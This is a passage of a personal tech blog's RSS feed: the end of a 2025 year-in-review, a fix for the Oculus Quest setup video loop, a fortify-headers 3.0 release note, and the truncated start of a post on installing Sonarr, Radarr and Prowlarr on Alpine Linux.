&lt;li&gt;&lt;a href="https://howtoarguewithameateater.com/"&gt;How to Argue With a Meat Eater (and win every time&lt;/a&gt;: the amount of bullshit the author had to deal with is impressive.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/29501956-art-crime-and-its-prevention"&gt;Art Crime and its Prevention: A Handbook for Collectors and Art Professionals&lt;/a&gt;,
  equally boring and cocky, gave up around the middle of it.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.versobooks.com/products/688-breaking-things-at-work"&gt;Breaking Things at Work: The Luddites Are Right About Why You Hate Your Job&lt;/a&gt;,
  trying to shove everything through a Marxist lens, felt tedious.&lt;/li&gt;
&lt;li&gt;A handful of manga:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Gantz"&gt;Gantz&lt;/a&gt;: didn't age very well.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Deadman_Wonderland"&gt;Deadman Wonderland&lt;/a&gt;, uninteresting, gave up after 6 tomes.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/D.Gray-man"&gt;D.Gray-man&lt;/a&gt;: great drawings, everything else is tedious, gave up around book 10.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Climber_(manga)"&gt;Kokō no Hito&lt;/a&gt;: great topic, terrible realisation on every level, gave up after 4 tomes.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Mashle"&gt;Mashle: Magic and Muscles&lt;/a&gt;: something like "Harry Potter, but the dude can't do magic and has muscles instead." Refreshingly funny.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some &lt;a href="https://en.wikipedia.org/wiki/Warhammer_40,000"&gt;Warhammer 40,000&lt;/a&gt;:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Planetkill_(Anthology)"&gt;Planetkill&lt;/a&gt;, nice bunch of novellas.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Darkness_in_the_Blood_(Novel)"&gt;Darkness in the Blood&lt;/a&gt;: &lt;a href="https://wh40k.lexicanum.com/wiki/Mephiston"&gt;Mephiston&lt;/a&gt;-wanking&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Elemental_Council_(Novel)"&gt;Elemental Council&lt;/a&gt;: properly written Tau novel.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Angron:_Slave_of_Nuceria_(Novel)"&gt;Angron: Slave of Nuceria&lt;/a&gt;, the birth of Angron's tragedy.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Kh%C3%A2rn:_Eater_of_Worlds_(Novel)"&gt;Khârn: Eater of Worlds&lt;/a&gt;, Khârn's post-Heresy comeback.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Ordo_Sinister_(Short_Story)"&gt;Ordo Sinister&lt;/a&gt;: short story about the eponymous &lt;a href="https://wh40k.lexicanum.com/wiki/Ordo_Sinister"&gt;Ordo Sinister&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/No_Good_Men_(Anthology)"&gt;No Good Men&lt;/a&gt;: great &lt;a href="https://wh40k.lexicanum.com/wiki/Warhammer_Crime"&gt;Warhammer Crime&lt;/a&gt; short stories anthology &lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Steel_Tread_(Novel)"&gt;Steel Tread&lt;/a&gt;, a tank commander story wrapping up a planetary war, really nice.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Day_of_Ascension_(Novel)"&gt;Day of Ascension&lt;/a&gt;: a novel from the point of view of a Genestealer cult, refreshing.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Leviathan_(Novel)"&gt;Leviathan&lt;/a&gt;: Space Marines against Tyranids trying to save the day on a dying planet.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/The_Oubliette_(Novel)"&gt;The Oubliette&lt;/a&gt;: with a Planetary governor balancing on the edge of heresy, really good.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Scions_of_the_Emperor_(Anthology)"&gt;Scions of the Emperor&lt;/a&gt;: &lt;a href="https://wh40k.lexicanum.com/wiki/Horus_Heresy:_The_Primarchs"&gt;Horus Heresy's Primarchs&lt;/a&gt;
  short stories anthology, pretty great.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Interceptor_City_(Novel)"&gt;Interceptor City&lt;/a&gt;: yet another chef d'œuvre by Dan Abnett featuring the &lt;a href="https://wh40k.lexicanum.com/wiki/Imperial_Navy"&gt;Imperial Navy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/The_Silent_King_(Novel)"&gt;The Silent King&lt;/a&gt;: wrapping up the &lt;a href="https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Series)"&gt;Dawn of Fire&lt;/a&gt; series, nice to read the Imperium lose for once.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Blood_of_the_Emperor_(Anthology)"&gt;Blood of the Emperor&lt;/a&gt;: anthology of small novellas about the Primarchs, some are great, others less so.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Angron:_The_Red_Angel_(Novel)"&gt;Angron: The Red Angel&lt;/a&gt;, about the crushing of a World Eater leader's dreams thanks to Angron's return.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/The_King_of_the_Spoil_(Novel)"&gt;The King of the Spoil&lt;/a&gt;: commoners fomenting a civil war, with nested political and judicial points of view.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Oaths_of_Damnation_(Novel)"&gt;Oaths of Damnation&lt;/a&gt;: bolter porn featuring the Exorcists chapter, with a terrific intro and a terrible ending.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Deathworlder_(Novel)"&gt;Deathworlder&lt;/a&gt;: great &lt;a href="https://wh40k.lexicanum.com/wiki/Astra_Militarum"&gt;Astra Militarum&lt;/a&gt; novel,
  with properly written, badass and charismatic female protagonists.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Urdesh:_The_Serpent_and_the_Saint_(Novel)"&gt;Urdesh: The Serpent and the Saint&lt;/a&gt;
  and &lt;a href="https://wh40k.lexicanum.com/wiki/Urdesh:_The_Magister_and_the_Martyr_(Novel)"&gt;Urdesh: The Magister and the Martyr&lt;/a&gt;, nice to see ocean-themed marines.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Daemonhammer_(Novel)"&gt;Daemonhammer&lt;/a&gt;: a novel about an unsubtle inquisitor, nice but not groundbreaking, characters felt a tad undeveloped.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Gothic_War_(Novel_Series)#Execution_Hour"&gt;Execution Hour&lt;/a&gt;, great book about the end of a Planet told by a vessel of the evacuation fleet, too bad the end felt rushed.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Era_of_Ruin_(Anthology)"&gt;Era of Ruin&lt;/a&gt;: an anthology of novellas about what happens after The End and the Death, unfortunately none of them were super-memorable.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wh40k.lexicanum.com/wiki/Hand_of_Abaddon_(Novel)"&gt;Hand of Abaddon&lt;/a&gt;, always nice to see the setting moving forward, even though the novel
  was a tad too tedious/scattered all around the place for my taste.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Did a couple of job interviews:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://synacktiv.com/en"&gt;Synacktiv&lt;/a&gt;, for a &lt;a href="https://synacktiv.com/developpeur-doutils-red-team"&gt;red team tooling
  developer&lt;/a&gt;
  position. I passed the (fun) technical challenge, but didn't finish the
  interview process as I signed elsewhere.&lt;/li&gt;
&lt;li&gt;The &lt;a href="https://wikimediafoundation.org/"&gt;Wikimedia Foundation&lt;/a&gt;, for a &lt;a href="https://job-boards.greenhouse.io/wikimedia/jobs/6126716?gh_src=f74a1ed11us"&gt;Staff Software Security
    Engineer&lt;/a&gt;
    position. I got an offer that I declined, as I got a better one by
    another company 30min after getting this one.&lt;/li&gt;
&lt;li&gt;███████████, for a Head of Security and IT position, which was
  remote-but-a-couple-of-days-a-week-in-Paris, managing 1.5 juniors, for
  around 3 times less than my current salary. The phone call was &lt;em&gt;awkward&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zellic.io/"&gt;Zellic&lt;/a&gt;, for a
  &lt;a href="https://zellic-inc.notion.site/Security-Researcher-568f73b944c44982a234a1cae6530581?pvs=25"&gt;security researcher
  position&lt;/a&gt;,
  but my &lt;a href="https://en.wikipedia.org/wiki/Solidity"&gt;solidity&lt;/a&gt; auditing skills
  were too weak, and I thus failed the really cool hiring challenge. But they
  offered me to continue the interview process for a &lt;a href="https://zellic-inc.notion.site/Software-Engineer-15175f108125806e9aa0e78e27a65b5c"&gt;software engineer/sysadmin
  position&lt;/a&gt;
  instead. I didn't give it a try it, as I already signed elsewhere.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Played some video games:&lt;ul&gt;
&lt;li&gt;On a computer:&lt;ul&gt;
&lt;li&gt;A bit of &lt;a href="https://en.wikipedia.org/wiki/Warhammer_40%2C000%3A_Space_Marine_2"&gt;Space Marines 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Warhammer_40,000:_Darktide"&gt;Darktide&lt;/a&gt;,
  mostly with the 2 new classes.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Clair_Obscur:_Expedition_33"&gt;Clair Obscur: Expedition 33&lt;/a&gt;,
  usually not a big fan of JRPG, but this game is nothing short of amazing.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Age_of_Wonders_4"&gt;Age of Wonders 4&lt;/a&gt;:
  great 4X game, which while not being my favourite genre at all,
  was a ton of fun.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Witchfire"&gt;Witchfire&lt;/a&gt;: hands down the
  FPS of the year for me. Great setting, great gameplay, visually
  astonishing, and a complete and utter lack of bullshit DLSS.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Mutant_Year_Zero:_Road_to_Eden"&gt;Mutant Year Zero: Road to
  Eden&lt;/a&gt;,
  a chill post-apocalyptic variant on
  &lt;a href="https://en.wikipedia.org/wiki/XCOM"&gt;XCOM&lt;/a&gt;, without the tedious
  base-building parts and with some neat stealth element.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Ready_or_Not_(video_game)"&gt;Ready or Not&lt;/a&gt;: the spiritual successor to SWAT 4, 
but felt unfortunately a bit clunky and unfinished. Moreover, it
unfortunately felt like another "kill the bad guys!" game, instead of
playing a law-abiding officer.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;On a glorious steam deck:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Inscryption"&gt;Inscryption&lt;/a&gt;, gave up after the first act.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Balatro"&gt;Balatro&lt;/a&gt;, great game, but too much luck involved for my taste.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Precinct_(video_game)"&gt;The Precinct&lt;/a&gt;, I'm usually not a big fan of cops™,
  but playing GTA2 from the point of view of one, with proper penalties
  for not following due process is surprisingly nice.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Listened to &lt;a href="https://listenbrainz.org/user/jvoisin/year-in-music/2025/"&gt;some music&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Attended some concerts:&lt;ul&gt;
&lt;li&gt;The &lt;a href="https://fr.wikipedia.org/wiki/Svinkels"&gt;Svinkels&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Alcest"&gt;Alcest&lt;/a&gt; and &lt;a href="https://bruitofficial.bandcamp.com/"&gt;BRUIT ≤&lt;/a&gt;, with the latter being a really good surprise.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nooneisinnocent.net/"&gt;No One is innocent&lt;/a&gt;
&lt;a href="https://www.fractaluniverseband.com/"&gt;Fractal Universe&lt;/a&gt;
&lt;a href="https://www.tamboursdubronx.com/home"&gt;Les tambours du bronx&lt;/a&gt; (opened with
Sepultura's Bloody Roots, and closed with Rob Zombie's American Witch!),
and &lt;a href="https://shaarghot.bigcartel.com/"&gt;Shaârghot&lt;/a&gt;, as the 
&lt;a href="https://bocksons.com/programmation/"&gt;Boksons&lt;/a&gt; festival. Oh and we sung
along while going back to the car on &lt;a href="https://earlymaggots.com/"&gt;Early Maggots&lt;/a&gt;
playing some classic Spliknot tracks in the distance.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Contributed to a couple of projects:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/rapid7/metasploit-framework/pulls?q=author%3Ajvoisin+created%3A%3E2024+"&gt;metasploit&lt;/a&gt;
  and &lt;a href="https://github.com/rapid7/metasploit-payloads/pull/714"&gt;metasploit-payloads&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/miniflux/v2/pulls?q=is%3Apr+author%3Ajvoisin+created%3A%3E2024"&gt;miniflux&lt;/a&gt;,
  with around 200 (!) pull-request merged this year alone.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Automattic/harper/pulls?q=author%3Ajvoisin+created%3A%3E2024+"&gt;harper&lt;/a&gt;,
  a trivial low-hanging things to make debugging easier, and &lt;a href="https://github.com/Automattic/harper/issues?q=is%3Aissue%20author%3Ajvoisin"&gt;opened a bunch
  of bugs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alpinelinux.org"&gt;Alpine Linux&lt;/a&gt;,
   by being a &lt;a href="https://pkgs.alpinelinux.org/packages?name=&amp;amp;branch=edge&amp;amp;repo=&amp;amp;arch=&amp;amp;maintainer=Julien+Voisin"&gt;package maintainer&lt;/a&gt;,
   &lt;a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests?scope=all&amp;amp;state=merged&amp;amp;author_username=jvoisin"&gt;sending a handful of merge-requests&lt;/a&gt;,
   and &lt;a href="https://gitlab.alpinelinux.org/alpine/aports/-/work_items/17822"&gt;trying to get rid of python-six&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nos-oignons.net/"&gt;Nos oignons&lt;/a&gt;, as part of the administration
  council and the sysadmin team. We're now responsible for &lt;a href="https://nos-oignons.net/Services/index.en.html"&gt;a little bit
  more than 3%&lt;/a&gt;
  of the network's total capacity.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://openmw.org"&gt;OpenMW&lt;/a&gt;, by maintaining the infrastructure.
  &lt;a href="https://mediawiki.org/wiki/MediaWiki"&gt;MediaWiki&lt;/a&gt;, that we're using for
  &lt;a href="https://wiki.openmw.org"&gt;our wiki&lt;/a&gt;, is not only annoying to
  keep up to date, but also to fight spam: doing SQL by hand isn't really
  state of the art abuse remediation, sigh. Let's hope that the combination
  of &lt;a href="https://hcaptcha.com/"&gt;hCaptcha&lt;/a&gt;, DNSBL from
  spamhaus.org/spamrats.com/0spam.org/z.mailspike.net, keyword-based
  blocklist, and clownflare
  will curb the tide. And because morons can't stop &lt;a href="https://drewdevault.com/2025/03/17/2025-03-17-Stop-externalizing-your-costs-on-me.html"&gt;externalizing their
  costs directly into our
  faces&lt;/a&gt;,
  I deployed &lt;a href="https://anubis.techaro.lol/"&gt;Anubis&lt;/a&gt; on the &lt;a href="https://forum.openmw.org/"&gt;forum&lt;/a&gt;
  and the &lt;a href="https://wiki.openmw.org"&gt;wiki&lt;/a&gt;, sigh.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kept on writing my book, reaching a bit more than 100.000 words.&lt;/li&gt;
&lt;li&gt;Went to the &lt;a href="https://grehack.fr/"&gt;Grehack&lt;/a&gt;, where I saw old friends and made new ones.&lt;/li&gt;
&lt;li&gt;Added possible subtitles to this blog, bringing their total number above 1500.&lt;/li&gt;
&lt;li&gt;Changed the &lt;a href="https://www.ssllabs.com/ssltest/analyze.html?d=dustri.org"&gt;TLS certificates for this website&lt;/a&gt; to use
  elliptic curves for the whole chain: enjoy marginally faster handshakes and equally marginally size reduction in certificates transmission!&lt;/li&gt;
&lt;li&gt;Bought a house in the &lt;a href="https://en.wikipedia.org/wiki/Doubs"&gt;East of France&lt;/a&gt;,
  feel free to come say hi. As a side-effect I learnt how to do some basic
  plumbing/electricity/wood-working/gardening/…&lt;/li&gt;
&lt;li&gt;Got a fully-remote job at &lt;a href="https://casaba.com/"&gt;Casaba Security&lt;/a&gt;. The first
  weeks were a bit odd for everyone, as the switch from from a megacorp to a
  small(er) structure was a bit rough, but in the end I'm quite happy working
  there.&lt;/li&gt;
&lt;li&gt;Spent a couple of months without internet at home, hence why this little
  corner of the internet was unreachable. Things are now back to normal, and I
  have fiber in my office. A big thank you to everyone who reached out to
  enquire if everything was alright &amp;lt;3.&lt;/li&gt;
&lt;li&gt;As part of a conscious effort to make the word a better and more welcoming
  place, I successfully changed my usage of expletives and insults to more
  inclusive ones. I also think that this provides a positive influence on my
  friends and family, leading by example. Newly used terms include "sac à merde"
  ("shitbag"), "va te faire cuire le cul" ("go get your ass cooked"),
  "va marcher sur des legos" ("go walk on
  legos"), "bête à bouffer du grillage" and "bête à bêcher de la flotte"
  ("wire-mesh-eater/water digging level of stupid"), … Do let me know if you
  have suggestions, I'd love to expand my range of possibility and nuances.&lt;/li&gt;
&lt;/ul&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 31 Dec 2025 23:59:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2025-12-31:/b/2025-in-retrospect.html</guid><category>misc</category></item><item><title>Fixing the health and safety video loop during the Oculus Quest setup</title><link>https://dustri.org/b/fixing-the-health-and-safety-video-loop-during-the-oculus-quest-setup.html</link><description>&lt;p&gt;I gifted an Oculus Quest (that I got as a gift a couple of years ago) to my
brother, but because we're in 2025 and &lt;em&gt;everything computer-related sucks&lt;/em&gt;, one
has to associate an online account with the device to make use of it. Imagine
having to do this to use a regular screen… Nevertheless, if you're trying to
factory-reset it and re-setup it, you'll end up having the (mandatory)
"health and safety video" stuck in a loop and you won't be able to finish the
process. This is because &lt;s&gt;Facebook&lt;/s&gt; Meta is a small underfunded
independent software company, and thus it sadly can't afford to make sure that
a $500 product sold 5 years ago can still be setup today. If you're foolish
enough to call the support, you'll likely be politely told to fuck off, so
don't bother.&lt;/p&gt;
&lt;p&gt;But I remember that when I played with it, the setup phase was trivial: odds
are that an upgrade of the (mandatory for setup) android app broke
compatibility with the device. Using an old version will likely work.
Unfortunately, as Google's Play Store doesn't allow one to install older
versions, for &lt;em&gt;SeCuRiTy ReAsOnS&lt;/em&gt;. So instead of being able to download what
we're looking for from a trusted source, we'll have to use something like
&lt;a href="https://en.uptodown.com/"&gt;uptodown&lt;/a&gt; to download the APK we're looking for,
sigh. I picked the &lt;a href="https://oculus-twilight.en.uptodown.com/android/download/1019180364"&gt;Oculus Quest
&lt;code&gt;276.0.0.15.109&lt;/code&gt;&lt;/a&gt;,
and it worked for me. Don't forget to click the "all variants" button on
uptodown to pick the right architecture (arm64-v8a or armeabi-v7a). If you
don't know which is the right one, don't worry: if you pick the wrong one, your
phone will tell you that it can't install it, and you'll simply have to install
the other one. Oh and also click &lt;code&gt;ignore&lt;/code&gt; when it prompts you to upgrade to a
newer version when you're using the app. Try to setup the Oculus quest again,
and you should no longer be blocked on the annoying video.&lt;/p&gt;
&lt;p&gt;Once the headset is
setup, the application can be updated to its latest version in the Google Play
Store, but you can remove it from your phone all the same since it's not needed
once the setup is complete. Odds are that having anything Meta-related
installed on your phone will give you cyber-cancer, steal your nudes and sell
every pieces of information it can collect to the everyone willing to buy them,
but you do you.&lt;/p&gt;
&lt;p&gt;If you're worried about installing random APK files from the interweb (as you
should), the file has been &lt;a href="https://www.virustotal.com/gui/file/17c8640668c699e91cef630a02819c9489186d84fa3ab9eac2e13c3599476b8c"&gt;uploaded to
VirusTotal&lt;/a&gt;,
and is signed by the certificate &lt;code&gt;331660b6dd3bd582f3dfd3cbae4546724668a021&lt;/code&gt;,
which is a correct &lt;a href="https://reports.exodus-privacy.eu.org/en/reports/644935/"&gt;Facebook
one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Oh, and since it's Christmas time, I'd recommend gifting &lt;a href="https://store.steampowered.com/app/546560/HalfLife_Alyx/"&gt;Half-Life:
Alyx&lt;/a&gt; to go with the
device, it's a great game.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 23 Dec 2025 14:45:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2025-12-23:/b/fixing-the-health-and-safety-video-loop-during-the-oculus-quest-setup.html</guid><category>misc</category></item><item><title>fortify-headers 3.0</title><link>https://dustri.org/b/fortify-headers-30.html</link><description>&lt;p&gt;In late 2022, I started to contribute to &lt;a href="https://git.2f30.org/fortify-headers"&gt;fortify-headers&lt;/a&gt;, and the original author, sin, was kind
enough to entrust the project to me.&lt;/p&gt;
&lt;p&gt;Unfortunately, I feel that I haven't lived up to the expectations,
both from others, but also mine. I enthusiastically piled more code on
top of it, instead of moving slowly and making sure that I wasn't
breaking anything. Sure, I added a test suite, but it can't cover every
edge-cases, especially when dealing with code used system-wide in
virtually all C packages/software. It also didn't help that I had a
"complicated" life those last couple of years.&lt;/p&gt;
&lt;p&gt;Now onto the good news: I now have some peace of mind and free time again,
meaning I can go back to try to properly maintain fortify-headers. I shelved
everything I added to it on an &lt;code&gt;experimental&lt;/code&gt; branch (so that nothing is lost,
including old releases that I did), and started clean on top a sin's latest
master again. I'm not happy about rewriting history, I think it was least worse
option in my opinion, versus having a big "revert" commit, or an interminable
daisy-chain of revert.&lt;/p&gt;
&lt;p&gt;So what's new in this &lt;a href="https://git.2f30.org/fortify-headers/refs.html"&gt;release
3.0&lt;/a&gt; compared to sin's version?
A handful of things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A complete testsuite, running on github actions, with &lt;code&gt;-Wall -Wextra&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Clang support, thanks to q66&lt;/li&gt;
&lt;li&gt;&lt;code&gt;access&lt;/code&gt; and &lt;code&gt;format&lt;/code&gt; annotations&lt;/li&gt;
&lt;li&gt;A missing include in select.h was added&lt;/li&gt;
&lt;li&gt;wctomb was removed, as it was buggy&lt;/li&gt;
&lt;li&gt;Support for &lt;code&gt;swab&lt;/code&gt; was added&lt;/li&gt;
&lt;li&gt;a 64b fix for time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Attribution was of course kept, and everything is available on
https://git.2f30.org/fortify-headers/log.html and
https://github.com/jvoisin/fortify-headers (to use github CI). QA-wise, on top
of the testsuite, a full &lt;a href="https://openwrt.org"&gt;OpenWRT&lt;/a&gt; build is used as a
smoke test. This should prevent bugs from creeping in.&lt;/p&gt;
&lt;p&gt;I'd love if people of you could take a quick look at this new tentative, so
that I can ask downstream projects to give a new try at upgrading from 1.1.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Mon, 08 Dec 2025 17:00:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2025-12-08:/b/fortify-headers-30.html</guid><category>security</category></item><item><title>Running the packaged *arr stack on Alpine</title><link>https://dustri.org/b/running-the-packaged-arr-stack-on-alpine.html</link><description>&lt;p&gt;I've been running some parts of the &lt;a href="https://wiki.servarr.com/"&gt;*arr stack&lt;/a&gt;
on my hypervisor at home for quite some time now, but only recently did I
notice that they were &lt;a href="https://pkgs.alpinelinux.org/packages?name=*arr&amp;amp;branch=edge&amp;amp;repo=&amp;amp;arch=x86_64&amp;amp;origin=&amp;amp;flagged=&amp;amp;maintainer="&gt;packaged in
Alpine&lt;/a&gt;!
I trashed the container with all the carefully-deployed-by-hand binaries,
created a new one running &lt;a href="https://wiki.alpinelinux.org/wiki/Repositories#Edge"&gt;Alpine
Edge&lt;/a&gt;, ran &lt;code&gt;apk add sonarr
radarr prowlarr&lt;/code&gt;, and…&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;~ # apk add sonarr radarr prowlarr&lt;/span&gt;
&lt;span class="go"&gt;ERROR: unable to select packages:&lt;/span&gt;
&lt;span class="go"&gt;  aspnetcore6-runtime (no such package):&lt;/span&gt;
&lt;span class="go"&gt;    required by: sonarr-4.0.16.2944-r0[aspnetcore6-runtime]&lt;/span&gt;
&lt;span class="go"&gt;~ #&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Urgh, the latest Sonarr release
(&lt;a href="https://github.com/Sonarr/Sonarr/releases/tag/v4.0.16.2944"&gt;v4.0.16.2944&lt;/a&gt;),
is still &lt;a href="https://github.com/Sonarr/Sonarr/blob/v4.0.16.2944/src/NzbDrone.Core/Sonarr.Core.csproj"&gt;running on .NET
6&lt;/a&gt;,
which isn't packaged anymore on Alpine Edge. Fortunately, one can do horribly
unsupported things like &lt;a href="https://wiki.alpinelinux.org/wiki/Repositories#Tagged_repository"&gt;mixing
repositories&lt;/a&gt;,
and have a &lt;code&gt;/etc/apk/repositories&lt;/code&gt; frankenfile looking like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cdn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;alpinelinux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alpine&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;
&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cdn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;alpinelinux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alpine&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;community&lt;/span&gt;
&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cdn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;alpinelinux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alpine&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;testing&lt;/span&gt;

